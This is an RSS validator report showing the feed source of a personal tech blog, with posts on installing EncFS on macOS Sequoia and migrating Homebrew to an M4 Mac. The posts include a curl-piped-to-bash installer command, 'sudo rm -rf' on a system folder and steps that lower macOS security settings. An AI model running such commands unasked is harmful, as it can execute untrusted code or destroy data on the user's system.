This service tests the validity of an RSS 2.0 feed, checking to see that it follows the rules of the RSS specification. For advice from the RSS Advisory Board on how to implement RSS and handle issues such as enclosures and HTML encoding, read the RSS Best Practices Profile. This checker is also a validator of Atom and RSS 1.0 feeds.

Use this tester regularly to ensure that your RSS feed continues to work well in the wide audience of RSS readers, podcast clients and other software that supports the format.

 

Congratulations!

[Valid RSS] This is a valid RSS feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

  • line 6496, column 0: description should not contain script tag (6 occurrences) [help]

    <script src="https://gist.github.com/x-way/caf03da77fe2cc83b6bd.js"></script>
  • line 6504, column 0: content:encoded should not contain script tag (6 occurrences) [help]

    <script src="https://gist.github.com/x-way/caf03da77fe2cc83b6bd.js"></script>
  • line 8251, column 3: description should not contain relative URL references: # (16 occurrences) [help]

    ]]></description>
       ^
  • line 8253, column 3: content:encoded should not contain relative URL references: # (16 occurrences) [help]

    ]]></content:encoded>
       ^

Source: http://blog.x-way.org/rss.xml

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <rss version="2.0"
  3.  xmlns:dc="http://purl.org/dc/elements/1.1/"
  4.  xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule"
  5.  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  6.  xmlns:atom="http://www.w3.org/2005/Atom">
  7.  
  8. <channel>
  9.  <title>x-log</title>
  10.  <link>https://blog.x-way.org</link>
  11.  <description>x-log</description>
  12.  <lastBuildDate>Tue, 03 Dec 2024 09:11:05 +0100</lastBuildDate>
  13.  <language>en</language>
  14.  <managingEditor>andreas+rss@jaggi.info (Andreas Jaggi)</managingEditor>
  15.  <webMaster>andreas+rss@jaggi.info (Andreas Jaggi)</webMaster>
  16.  <copyright>Andreas Jaggi</copyright>
  17.  <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18.  <generator>x-log 683f02</generator>
  19.  <atom:link href="https://blog.x-way.org/rss.xml" rel="self" type="application/rss+xml"/>
  20.  
  21.  <image>
  22.    <url>https://blog.x-way.org/logo.gif</url>
  23.    <title>x-log</title>
  24.    <link>https://blog.x-way.org</link>
  25.  </image>
  26.  
  27.  
  28.  <item>
  29.    <title>How to install EncFS on macOS Sequoia</title>
  30.    <link>https://blog.x-way.org/Mac/2024/12/03/How-to-install-EncFS-on-macOS-Sequoia.html</link>
  31.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324431</guid>
  32.    <dc:creator>Andreas Jaggi</dc:creator>
  33.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  34.    <pubDate>Tue, 03 Dec 2024 08:58:40 +0100</pubDate>
  35.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  36.    <description><![CDATA[<p>
  37. How to access my old encrypted files even though <a href="https://vgough.github.io/encfs/" title="EncFS">EncFS</a> is no longer supported in Homebrew for macOS.
  38. </p>
  39. <ol>
  40. <li>Start by installing a third-party formula that some nice people maintain: <pre>brew install gromgit/fuse/encfs-mac</pre></li>
  41. <li>Immediately get disappointed when it fails. Turns out it requires openssl@1.1 which has been deprecated by Homebrew: <pre>==&gt; Fetching dependencies for gromgit/fuse/encfs-mac: openssl@1.1
  42. Error: openssl@1.1 has been disabled because it is not supported upstream! It was disabled on 2024-10-24.</pre></li>
  43. </ol>
  44. <p>
  45. How to install the (no longer supported) openssl@1.1 formula.
  46. </p>
  47. <ol>
  48. <li>Force the download of the core formula repository: <pre>brew tap --force homebrew/core</pre></li>
  49. <li>Edit the formula and remove the deprecation enforcement: <pre>brew edit openssl@1.1</pre> Comment out line 29, so it looks like: <pre>  #disable! date: "2024-10-24", because: :unsupported</pre></li>
  50. <li>Perform installation of openssl@1.1 from the locally modified formula: <pre>HOMEBREW_NO_INSTALL_FROM_API=1 brew install openssl@1.1</pre></li>
  51. </ol>
  52. <p>
  53. Now we can install EncFS successfully.
  54. </p>
  55. <pre>brew install gromgit/fuse/encfs-mac                    
  56. ==&gt; Fetching gromgit/fuse/encfs-mac
  57. ==&gt; Downloading https://github.com/gromgit/homebrew-fuse/releases/download/encfs-mac-1.9.5/encfs-mac-1.9.5.arm64_monterey.bottle.tar.gz
  58. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  59. ==&gt; Installing encfs-mac from gromgit/fuse
  60. ==&gt; Pouring encfs-mac-1.9.5.arm64_monterey.bottle.tar.gz
  61. ==&gt; Downloading https://formulae.brew.sh/api/cask.jws.json
  62. 🍺  /opt/homebrew/Cellar/encfs-mac/1.9.5: 65 files, 2.2MB
  63. ==&gt; Running `brew cleanup encfs-mac`...
  64. </pre>
  65. <p>
  66. If desired, we can now run <kbd>brew untap homebrew/core</kbd> to cleanup the local copy of the formula repository.
  67. </p>
  68. <p>
  69. Next step is to enable the (earlier installed) MacFuse kernel extension.<br>
  70. On macOS Sequoia this is a quite complicated process (needs disabling of multiple security features and some reboots).<br>
  71. Luckily the people from the MacFuse project have compiled <a href="https://github.com/macfuse/macfuse/wiki/Getting-Started#enabling-support-for-third-party-kernel-extensions-apple-silicon-macs" title="Getting Started - Enabling support for third party kernel extensions (Apple Silicon Macs)">a nice illustrated guide.</a>
  72. </p>
  73. <p>
  74. After this process is completed, we can finally decrypt the EncFS files.
  75. </p>
  76. <pre>encfs -v -f ./encrypted-folder ./mountpoint</pre>
  77. <p>
  78. The unencrypted files are available at <var>./mountpoint</var>.<br>
  79. In my case I copied them to another folder as I no longer intend to use EncFS.
  80. </p>
  81. <p>
  82. With the job done, I removed again all the EncFS software and re-enabled the security features of macOS.
  83. </p>
  84. <pre>brew uninstall encfs-mac
  85. brew uninstall openssl@1.1
  86. brew uninstall macfuse</pre>
  87. <p>
  88. Then reboot into the Recovery environment and in the Startup Security Utility set the Security Policy again to Full Security. 🔐
  89. </p>
  90. ]]></description>
  91.    <content:encoded><![CDATA[<p>
  92. How to access my old encrypted files even though <a href="https://vgough.github.io/encfs/" title="EncFS">EncFS</a> is no longer supported in Homebrew for macOS.
  93. </p>
  94. <ol>
  95. <li>Start by installing a third-party formula that some nice people maintain: <pre>brew install gromgit/fuse/encfs-mac</pre></li>
  96. <li>Immediately get disappointed when it fails. Turns out it requires openssl@1.1 which has been deprecated by Homebrew: <pre>==&gt; Fetching dependencies for gromgit/fuse/encfs-mac: openssl@1.1
  97. Error: openssl@1.1 has been disabled because it is not supported upstream! It was disabled on 2024-10-24.</pre></li>
  98. </ol>
  99. <p>
  100. How to install the (no longer supported) openssl@1.1 formula.
  101. </p>
  102. <ol>
  103. <li>Force the download of the core formula repository: <pre>brew tap --force homebrew/core</pre></li>
  104. <li>Edit the formula and remove the deprecation enforcement: <pre>brew edit openssl@1.1</pre> Comment out line 29, so it looks like: <pre>  #disable! date: "2024-10-24", because: :unsupported</pre></li>
  105. <li>Perform installation of openssl@1.1 from the locally modified formula: <pre>HOMEBREW_NO_INSTALL_FROM_API=1 brew install openssl@1.1</pre></li>
  106. </ol>
  107. <p>
  108. Now we can install EncFS successfully.
  109. </p>
  110. <pre>brew install gromgit/fuse/encfs-mac                    
  111. ==&gt; Fetching gromgit/fuse/encfs-mac
  112. ==&gt; Downloading https://github.com/gromgit/homebrew-fuse/releases/download/encfs-mac-1.9.5/encfs-mac-1.9.5.arm64_monterey.bottle.tar.gz
  113. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  114. ==&gt; Installing encfs-mac from gromgit/fuse
  115. ==&gt; Pouring encfs-mac-1.9.5.arm64_monterey.bottle.tar.gz
  116. ==&gt; Downloading https://formulae.brew.sh/api/cask.jws.json
  117. 🍺  /opt/homebrew/Cellar/encfs-mac/1.9.5: 65 files, 2.2MB
  118. ==&gt; Running `brew cleanup encfs-mac`...
  119. </pre>
  120. <p>
  121. If desired, we can now run <kbd>brew untap homebrew/core</kbd> to cleanup the local copy of the formula repository.
  122. </p>
  123. <p>
  124. Next step is to enable the (earlier installed) MacFuse kernel extension.<br>
  125. On macOS Sequoia this is a quite complicated process (needs disabling of multiple security features and some reboots).<br>
  126. Luckily the people from the MacFuse project have compiled <a href="https://github.com/macfuse/macfuse/wiki/Getting-Started#enabling-support-for-third-party-kernel-extensions-apple-silicon-macs" title="Getting Started - Enabling support for third party kernel extensions (Apple Silicon Macs)">a nice illustrated guide.</a>
  127. </p>
  128. <p>
  129. After this process is completed, we can finally decrypt the EncFS files.
  130. </p>
  131. <pre>encfs -v -f ./encrypted-folder ./mountpoint</pre>
  132. <p>
  133. The unencrypted files are available at <var>./mountpoint</var>.<br>
  134. In my case I copied them to another folder as I no longer intend to use EncFS.
  135. </p>
  136. <p>
  137. With the job done, I removed again all the EncFS software and re-enabled the security features of macOS.
  138. </p>
  139. <pre>brew uninstall encfs-mac
  140. brew uninstall openssl@1.1
  141. brew uninstall macfuse</pre>
  142. <p>
  143. Then reboot into the Recovery environment and in the Startup Security Utility set the Security Policy again to Full Security. 🔐
  144. </p>
  145. ]]></content:encoded>
  146.  </item>
  147.  
  148.  <item>
  149.    <title>Migrate Homebrew from Intel to M4 MacBook Pro</title>
  150.    <link>https://blog.x-way.org/Mac/2024/12/01/Migrate-Homebrew-from-Intel-to-M4-MacBook-Pro.html</link>
  151.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324430</guid>
  152.    <dc:creator>Andreas Jaggi</dc:creator>
  153.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  154.    <pubDate>Sun, 01 Dec 2024 16:12:31 +0100</pubDate>
  155.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  156.    <description><![CDATA[<p>
  157. A big part of the time used to <a href="https://blog.x-way.org/Mac/2024/11/30/Move-from-2017-Intel-MacBook-Pro-to-2024-M4-MacBook-Pro.html" title="x-log - Move from 2017 Intel MacBook Pro to 2024 M4 MacBook Pro">move from my 2017 Intel MacBook Pro to my new 2024 M4 MacBook Pro</a> was spent on migrating my <a href="https://brew.sh/" title="Homebrew — The Missing Package Manager for macOS">Homebrew installation</a>.
  158. </p>
  159. <p>
  160. There are three aspects to the migration.
  161. </p>
  162. <ul>
  163. <li>One is the change in CPU architecture (which means to replace my Intel-only binaries with arm64 binaries).</li>
  164. <li>The other one is the change of the Homebrew root folder from <var>/usr/local</var> to <var>/opt/homebrew</var>.</li>
  165. <li>And the last one is the change in OS version (from macOS 13 to macOS 15).</li>
  166. </ul>
  167. <p>
  168. The impact of the change in CPU architecture was mostly taken care of by enabling the Rosetta 2 emulator to run Intel-binaries on the M4.<br>
  169. This immediately fixed the problem of my Terminal windows auto-closing on startup (as they now no longer failed to run the zsh Intel-binary).<br>
  170. But it did not solve all problems, particularly annoying was that vim could not be started and always failed with the following error:
  171. </p>
  172. <pre>dyld[31382]: Library not loaded: /System/Library/Perl/5.30/darwin-thread-multi-2level/CORE/libperl.dylib
  173.  Referenced from: &lt;77AC96DE-0453-3E1C-B442-EFE624110BAE&gt; /usr/local/Cellar/vim/9.1.0750_1/bin/vim
  174.  Reason: tried: '/System/Library/Perl/5.30/darwin-thread-multi-2level/CORE/libperl.dylib' (no such file), '/System/Volumes/Preboot/Cryptexes/OS/System/Library/Perl/5.30/darwin-thread-multi-2level/CORE/libperl.dylib' (no such file), '/System/Library/Perl/5.30/darwin-thread-multi-2level/CORE/libperl.dylib' (no such file, not in dyld cache), '/usr/local/lib/libperl.dylib' (no such file), '/usr/lib/libperl.dylib' (no such file, not in dyld cache)</pre>
  175. <p>
  176. My workaround for this was to use the default vim that comes bundled with macOS, by typing <kbd>/usr/bin/vim</kbd>.<br>
  177. Although it complained about some unsupported parts in my <var>.vimrc</var>, it at least started up and was usable enough to edit files.<br>
  178. The error itself seems due to some Perl system libraries that vim was compiled with and which now no longer exist in the new macOS version.<br>
  179. This is a typical problem which can be solved by re-installing Homebrew.
  180. </p>
  181. <p>
  182. <b>Re-installing Homebrew</b><br>
  183. The steps below follow <a href="https://docs.brew.sh/Common-Issues#unintentional-dual-homebrew-installations" title="Common Issues - Unintentional dual Homebrew installations">this FAQ entry</a> and are extended with what was needed to make it work for my situation.<br>
  184. Your mileage might vary!
  185. </p>
  186. <ol>
  187. <li>In the Terminal.app settings, set the login shell to <var>Default</var>. This to avoid Rosetta's Intel emulated zsh from the previous installation interfering with things.</li>
  188. <li>Verify that you're running in native ARM mode with the <kbd>arch</kbd> command. It should return <var>arm64</var>.</li>
  189. <li>Create a dump of the previous Homebrew installation by explicitly running brew through Rosetta's Intel emulation: <pre>arch -x86_64 /usr/local/bin/brew bundle dump --global</pre></li>
  190. <li>Review the resulting <var>~/.Brewfile</var> and adjust as desired (I didn't make any adjustments).</li>
  191. <li>Ensure that native arm binaries are preferred over Intel binaries from the previous installation: <pre>export PATH=/bin:/usr/bin:/sbin:/usr/sbin:$PATH</pre></li>
  192. <li>Install homebrew into <var>/opt/homebrew</var> with: <pre>/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"</pre></li>
  193. <li>Adjust your shell config file to prefer <var>/opt/homebrew/bin</var> over <var>/usr/local/bin</var> in the PATH.<br>As I manually set PATH in my <var>.zshrc</var>, I needed to adjust it. Following these commands recommended by the brew installer was not enough! <pre><b><span style="color: blue">==&gt;</span> Next steps:</b>
  194. - Run these commands in your terminal to add Homebrew to your <b>PATH</b>:
  195.    echo &gt;&gt; /Users/aj/.zprofile
  196.    echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' &gt;&gt; /Users/aj/.zprofile
  197.    eval "$(/opt/homebrew/bin/brew shellenv)"</pre></li>
  198. <li>Open a fresh terminal window and verify with <kbd>which brew</kbd>, it must return <var>/opt/homebrew/bin/brew</var>.</li>
  199. <li>Now have brew install all the applications from the dump in the <var>~/.Brewfile</var>: <pre>/opt/homebrew/bin/brew bundle install --global</pre></li>
  200. <li>This process will print some warnings and errors, thus make sure to keep the output.<br>I will go through all the errors and warnings I encountered and list how I fixed them below (for the ones I could fix, unfortunately not all have been fixed yet).<br>It usually ends with a summary of the number of failures: <pre><span style="color: red">Homebrew Bundle failed! 30 Brewfile dependencies failed to install.Homebrew Bundle failed! 30 Brewfile dependencies failed to install.</span></pre></li>
  201. <li>Once the process is completed and you see the above summary, open the Terminal.app settings and set the Login shell to <var>/opt/homebrew/bin/zsh</var></li>
  202. <li>Open a fresh terminal window and verify that you are now running in native arm64 mode with <kbd>arch</kbd>.</li>
  203. <li>Now we are ready to address the errors, and then at the end we will remove the old Homebrew installation under <var>/usr/local</var>.</li>
  204. </ol>
  205. <p>
  206. <b>Outdated Xcode and missing Xcode command-line utilities</b><br>
  207. Due to the change in macOS version, the Xcode installation was outdated and also no usable command-line utilities were available.<br>
  208. This usually manifests in errors like these:
  209. </p>
  210. <pre><span style="color: green">Installing ssh-audit</span>
  211. ==&gt; Fetching ssh-audit
  212. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-core/723e7ef695e15c790aab727c1da11a2a4610ad53/Formula/s/ssh-audit.rb
  213. ==&gt; Cloning https://github.com/jtesta/ssh-audit.git
  214. Cloning into '/Users/aj/Library/Caches/Homebrew/ssh-audit--git'...
  215. ==&gt; Checking out branch master
  216. Already on 'master'
  217. Your branch is up to date with 'origin/master'.
  218. Error: Your Xcode (15.1) at /Applications/Xcode.app is too outdated.
  219. Please update to Xcode 16.0 (or delete it).
  220. Xcode can be updated from the App Store.
  221.  
  222. Error: Your Command Line Tools are too outdated.
  223. Update them from Software Update in System Settings.
  224.  
  225. If that doesn't show you any updates, run:
  226.  sudo rm -rf /Library/Developer/CommandLineTools
  227.  sudo xcode-select --install
  228.  
  229. Alternatively, manually download them from:
  230.  https://developer.apple.com/download/all/.
  231. You should download the Command Line Tools for Xcode 16.0.
  232.  
  233. <span style="color: red">Installing ssh-audit has failed!</span></pre>
  234. <pre><span style="color: green">Installing tdsmith/ham/direwolf</span>
  235. ==&gt; Fetching dependencies for tdsmith/ham/direwolf: portaudio
  236. ==&gt; Fetching portaudio
  237. ==&gt; Downloading https://ghcr.io/v2/homebrew/core/portaudio/manifests/19.7.0-1
  238. ==&gt; Downloading https://ghcr.io/v2/homebrew/core/portaudio/blobs/sha256:8ad9f1c15a4bc9c05a9dd184b53b8f5f5d13a2458a70535bfb01e54ce4f8b4bd
  239. ==&gt; Fetching tdsmith/ham/direwolf
  240. ==&gt; Downloading https://github.com/wb2osz/direwolf/archive/1.4-dev-E.tar.gz
  241. ==&gt; Downloading from https://codeload.github.com/wb2osz/direwolf/tar.gz/refs/tags/1.4-dev-E
  242. ==&gt; Installing direwolf from tdsmith/ham
  243. Error: Your Xcode (15.1) at /Applications/Xcode.app is too outdated.
  244. Please update to Xcode 16.0 (or delete it).
  245. Xcode can be updated from the App Store.
  246.  
  247. Error: Your Command Line Tools are too outdated.
  248. Update them from Software Update in System Settings.
  249.  
  250. If that doesn't show you any updates, run:
  251.  sudo rm -rf /Library/Developer/CommandLineTools
  252.  sudo xcode-select --install
  253.  
  254. Alternatively, manually download them from:
  255.  https://developer.apple.com/download/all/.
  256. You should download the Command Line Tools for Xcode 16.0.
  257.  
  258. <span style="color: red">Installing tdsmith/ham/direwolf has failed!</span></pre>
  259. <p>
  260. This can be fixed in two steps.<br>
  261. First update Xcode via the App Store.<br>
  262. Then run the mentioned commands to install/update the command-line utilities:
  263. </p>
  264. <pre>sudo rm -rf /Library/Developer/CommandLineTools
  265. sudo xcode-select --install</pre>
  266. <p>
  267. With the latest Xcode and command-line utilities in place, trigger a new installation attempt for the affected applications:
  268. </p>
  269. <pre>brew install ssh-audit
  270. brew install tdsmith/ham/direwolf</pre>
  271. <p>
  272. <b>Missing Rosetta 2 Intel emulation</b><br>
  273. Some of the Casks distributed by Homebrew are currently only available as Intel-binaries.<br>
  274. This usually manifests in warnings like these:
  275. </p>
  276. <pre><span style="color: green">Installing gqrx</span>
  277. ==&gt; Caveats
  278. gqrx is built for Intel macOS and so requires Rosetta 2 to be installed.
  279. You can install Rosetta 2 with:
  280.  softwareupdate --install-rosetta --agree-to-license
  281. Note that it is very difficult to remove Rosetta 2 once it is installed.
  282.  
  283. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/g/gqrx.rb
  284. ==&gt; Downloading https://github.com/gqrx-sdr/gqrx/releases/download/v2.17.5/Gqrx-2.17.5.dmg
  285. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  286. ==&gt; Installing Cask gqrx
  287. Error: It seems there is already an App at '/Applications/Gqrx.app'.
  288. ==&gt; Purging files for version 2.17.5 of Cask gqrx
  289. <span style="color: red">Installing gqrx has failed!</span></pre>
  290. <pre><span style="color: green">Installing jitsi</span>
  291. ==&gt; Caveats
  292. jitsi is built for Intel macOS and so requires Rosetta 2 to be installed.
  293. You can install Rosetta 2 with:
  294.  softwareupdate --install-rosetta --agree-to-license
  295. Note that it is very difficult to remove Rosetta 2 once it is installed.
  296.  
  297. ==&gt; Downloading https://github.com/jitsi/jitsi/releases/download/Jitsi-2.10/jitsi-2.10.5550.dmg
  298. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  299. ==&gt; Installing Cask jitsi
  300. Error: It seems there is already an App at '/Applications/Jitsi.app'.
  301. ==&gt; Purging files for version 2.10.5550 of Cask jitsi
  302. <span style="color: red">Installing jitsi has failed!</span></pre>
  303. <pre><span style="color: green">Installing keepassx</span>
  304. Password:
  305. ==&gt; Caveats
  306. keepassx is built for Intel macOS and so requires Rosetta 2 to be installed.
  307. You can install Rosetta 2 with:
  308.  softwareupdate --install-rosetta --agree-to-license
  309. Note that it is very difficult to remove Rosetta 2 once it is installed.
  310.  
  311. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/k/keepassx.rb
  312. ==&gt; Downloading https://www.keepassx.org/releases/2.0.3/KeePassX-2.0.3.dmg
  313. ==&gt; Installing Cask keepassx
  314. ==&gt; Changing ownership of paths required by keepassx with sudo; the password may be necessary.
  315. Error: It seems there is already an App at '/Applications/KeePassX.app'.
  316. ==&gt; Purging files for version 2.0.3 of Cask keepassx
  317. <span style="color: red">Installing keepassx has failed!</span></pre>
  318. <pre><span style="color: green">Installing sequel-pro</span>
  319. Warning: sequel-pro has been deprecated because it is discontinued upstream! It will be disabled on 2024-12-17.
  320. ==&gt; Caveats
  321. sequel-pro has been deprecated in favor of Sequel Ace.
  322.  brew install --cask sequel-ace
  323.  
  324. sequel-pro is built for Intel macOS and so requires Rosetta 2 to be installed.
  325. You can install Rosetta 2 with:
  326.  softwareupdate --install-rosetta --agree-to-license
  327. Note that it is very difficult to remove Rosetta 2 once it is installed.
  328.  
  329. ==&gt; Downloading https://github.com/sequelpro/sequelpro/releases/download/release-1.1.2/sequel-pro-1.1.2.dmg
  330. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  331. ==&gt; Installing Cask sequel-pro
  332. Error: It seems there is already an App at '/Applications/Sequel Pro.app'.
  333. ==&gt; Purging files for version 1.1.2 of Cask sequel-pro
  334. <span style="color: red">Installing sequel-pro has failed!</span></pre>
  335. <p>
  336. This can be fixed by running the mentioned command:
  337. </p>
  338. <pre>softwareupdate --install-rosetta --agree-to-license</pre>
  339. <p>
  340. With this in place, Intel-binaries will not be a problem anymore.<br>
  341. But as you can see there was actually a second failure in all these errors, which we are going to address next.
  342. </p>
  343. <p>
  344. <b>Old applications linger around in /Applications and block updates/re-installation</b><br>
  345. Homebrew nicely installed all the opensource applications into the new <var>/opt/homebrew</var>, but for the Casks which are distributed as binary application bundles and live in <var>/Applications</var> we end up with conflicts (as the new Homebrew installation does not know about the previously installed application bundles there).<br>
  346. This typically manifests in errors like these (also seen in the ones from the Rosetta section):
  347. </p>
  348. <pre><span style="color: green">Installing 0-ad</span>
  349. ==&gt; Downloading https://releases.wildfiregames.com/0ad-0.0.26-alpha-osx-aarch64.dmg
  350. ==&gt; Installing Cask 0-ad
  351. Error: It seems there is already an App at '/Applications/0 A.D..app'.
  352. ==&gt; Purging files for version 0.0.26-alpha of Cask 0-ad
  353. <span style="color: red">Installing 0-ad has failed!</span></pre>
  354. <pre><span style="color: green">Installing brave-browser</span>
  355. ==&gt; Downloading https://updates-cdn.bravesoftware.com/sparkle/Brave-Browser/stable-arm64/173.91/Brave-Browser-arm64.dmg
  356. ==&gt; Installing Cask brave-browser
  357. Error: It seems there is already an App at '/Applications/Brave Browser.app'.
  358. ==&gt; Purging files for version 1.73.91.0 of Cask brave-browser
  359. <span style="color: red">Installing brave-browser has failed!</span></pre>
  360. <pre><span style="color: green">Installing burp-suite</span>
  361. ==&gt; Downloading https://portswigger-cdn.net/burp/releases/download?product=community&amp;version=2024.10.3&amp;type=MacOsArm64
  362. ==&gt; Installing Cask burp-suite
  363. Error: It seems there is already an App at '/Applications/Burp Suite Community Edition.app'.
  364. ==&gt; Purging files for version 2024.10.3 of Cask burp-suite
  365. <span style="color: red">Installing burp-suite has failed!</span></pre>
  366. <pre><span style="color: green">Installing docker</span>
  367. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/d/docker.rb
  368. ==&gt; Downloading https://desktop.docker.com/mac/main/arm64/175267/Docker.dmg
  369. ==&gt; Installing Cask docker
  370. Error: It seems there is already an App at '/Applications/Docker.app'.
  371. ==&gt; Purging files for version 4.36.0,175267 of Cask docker
  372. <span style="color: red">Installing docker has failed!</span></pre>
  373. <pre><span style="color: green">Installing gitup</span>
  374. ==&gt; Downloading https://github.com/git-up/GitUp/releases/download/v1.4.2/GitUp.zip
  375. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  376. ==&gt; Installing Cask gitup
  377. Error: It seems there is already an App at '/Applications/GitUp.app'.
  378. ==&gt; Purging files for version 1.4.2 of Cask gitup
  379. <span style="color: red">Installing gitup has failed!</span></pre>
  380. <pre><span style="color: green">Installing keeweb</span>
  381. Password:
  382. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/k/keeweb.rb
  383. ==&gt; Downloading https://github.com/keeweb/keeweb/releases/download/v1.18.7/KeeWeb-1.18.7.mac.arm64.dmg
  384. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  385. ==&gt; Installing Cask keeweb
  386. ==&gt; Changing ownership of paths required by keeweb with sudo; the password may be necessary.
  387. chown: /Applications/KeeWeb.app/Contents/CodeResources: Operation not permitted
  388. [...]
  389. chown: /Applications/KeeWeb.app: Operation not permitted
  390. Error: It seems there is already an App at '/Applications/KeeWeb.app'.
  391. ==&gt; Purging files for version 1.18.7 of Cask keeweb
  392. <span style="color: red">Installing keeweb has failed!</span></pre>
  393. <pre><span style="color: green">Installing netnewswire</span>
  394. ==&gt; Downloading https://github.com/Ranchero-Software/NetNewsWire/releases/download/mac-6.1.4/NetNewsWire6.1.4.zip
  395. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  396. ==&gt; Installing Cask netnewswire
  397. Error: It seems there is already an App at '/Applications/NetNewsWire.app'.
  398. ==&gt; Purging files for version 6.1.4 of Cask netnewswire
  399. <span style="color: red">Installing netnewswire has failed!</span></pre>
  400. <pre><span style="color: green">Installing obs</span>
  401. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/o/obs.rb
  402. ==&gt; Downloading https://cdn-fastly.obsproject.com/downloads/OBS-Studio-30.2.3-macOS-Apple.dmg
  403. ==&gt; Installing Cask obs
  404. Error: It seems there is already an App at '/Applications/OBS.app'.
  405. ==&gt; Purging files for version 30.2.3 of Cask obs
  406. <span style="color: red">Installing obs has failed!</span></pre>
  407. <pre><span style="color: green">Installing transmission</span>
  408. ==&gt; Downloading https://github.com/transmission/transmission/releases/download/4.0.6/Transmission-4.0.6.dmg
  409. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  410. ==&gt; Installing Cask transmission
  411. Error: It seems there is already an App at '/Applications/Transmission.app'.
  412. ==&gt; Purging files for version 4.0.6 of Cask transmission
  413. <span style="color: red">Installing transmission has failed!</span></pre>
  414. <pre><span style="color: green">Installing tunnelblick</span>
  415. Password:
  416. ==&gt; Caveats
  417. For security reasons, tunnelblick must be installed to /Applications,
  418. and will request to be moved at launch.
  419.  
  420. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/t/tunnelblick.rb
  421. ==&gt; Downloading https://github.com/Tunnelblick/Tunnelblick/releases/download/v4.0.1/Tunnelblick_4.0.1_build_5971.dmg
  422. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  423. ==&gt; Installing Cask tunnelblick
  424. ==&gt; Changing ownership of paths required by tunnelblick with sudo; the password may be necessary.
  425. chown: /Applications/Tunnelblick.app/Contents/CodeResources: Operation not permitted
  426. [...]
  427. chown: /Applications/Tunnelblick.app: Operation not permitted
  428. Error: It seems there is already an App at '/Applications/Tunnelblick.app'.
  429. ==&gt; Purging files for version 4.0.1,5971 of Cask tunnelblick
  430. <span style="color: red">Installing tunnelblick has failed!</span></pre>
  431. <pre><span style="color: green">Installing vlc</span>
  432. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/v/vlc.rb
  433. ==&gt; Downloading https://get.videolan.org/vlc/3.0.21/macosx/vlc-3.0.21-arm64.dmg
  434. ==&gt; Downloading from http://mirror.easyname.ch/videolan/vlc/3.0.21/macosx/vlc-3.0.21-arm64.dmg
  435. ==&gt; Installing Cask vlc
  436. Error: It seems there is already an App at '/Applications/VLC.app'.
  437. ==&gt; Purging files for version 3.0.21 of Cask vlc
  438. <span style="color: red">Installing vlc has failed!</span></pre>
  439. <pre><span style="color: green">Installing wireshark</span>
  440. Password:
  441. ==&gt; Downloading https://2.na.dl.wireshark.org/osx/all-versions/Wireshark%204.4.2%20Arm%2064.dmg
  442. ==&gt; Installing Cask wireshark
  443. ==&gt; Running installer for wireshark with sudo; the password may be necessary.
  444. installer: Package name is ChmodBPF
  445. installer: Installing at base path /
  446. installer: The install was successful.
  447. ==&gt; Running installer for wireshark with sudo; the password may be necessary.
  448. Error: It seems there is already an App at '/Applications/Wireshark.app'.
  449. installer: Package name is Add Wireshark to the system PATH
  450. installer: Installing at base path /
  451. installer: The install was successful.
  452. ==&gt; Purging files for version 4.4.2 of Cask wireshark
  453. <span style="color: red">Installing wireshark has failed!</span></pre>
  454. <p>
  455. Now that we have the full list, here is how I fixed these errors:
  456. </p>
  457. <ul>
  458. <li>For each of them, move the existing application bundle from <var>/Applications</var> to Trash.</li>
  459. <li>Then trigger the installation again with: <pre>brew install --cask 0-ad
  460. brew install --cask brave-browser
  461. ...</pre></li>
  462. <li>The <var>--cask</var> part is important, as sometimes a headless source-only formula exists with the same name which does not include the GUI parts.<br>By using <var>--cask</var> we make sure that the upstream binary application bundle is used.</li>
  463. </ul>
  464. <p>
  465. With this, most of the fixing is concluded.<br>
  466. Thus let's go to the warnings and errors that I consciously ignore.
  467. </p>
  468. <p>
  469. <b>Warnings and errors to ignore</b><br>
  470. Some of the warnings and errors I consciously ignore.<br>
  471. A lot of them come from no longer maintained/available software which Homebrew no longer provides, or which have become obsolete as another software does the same job now.<br>
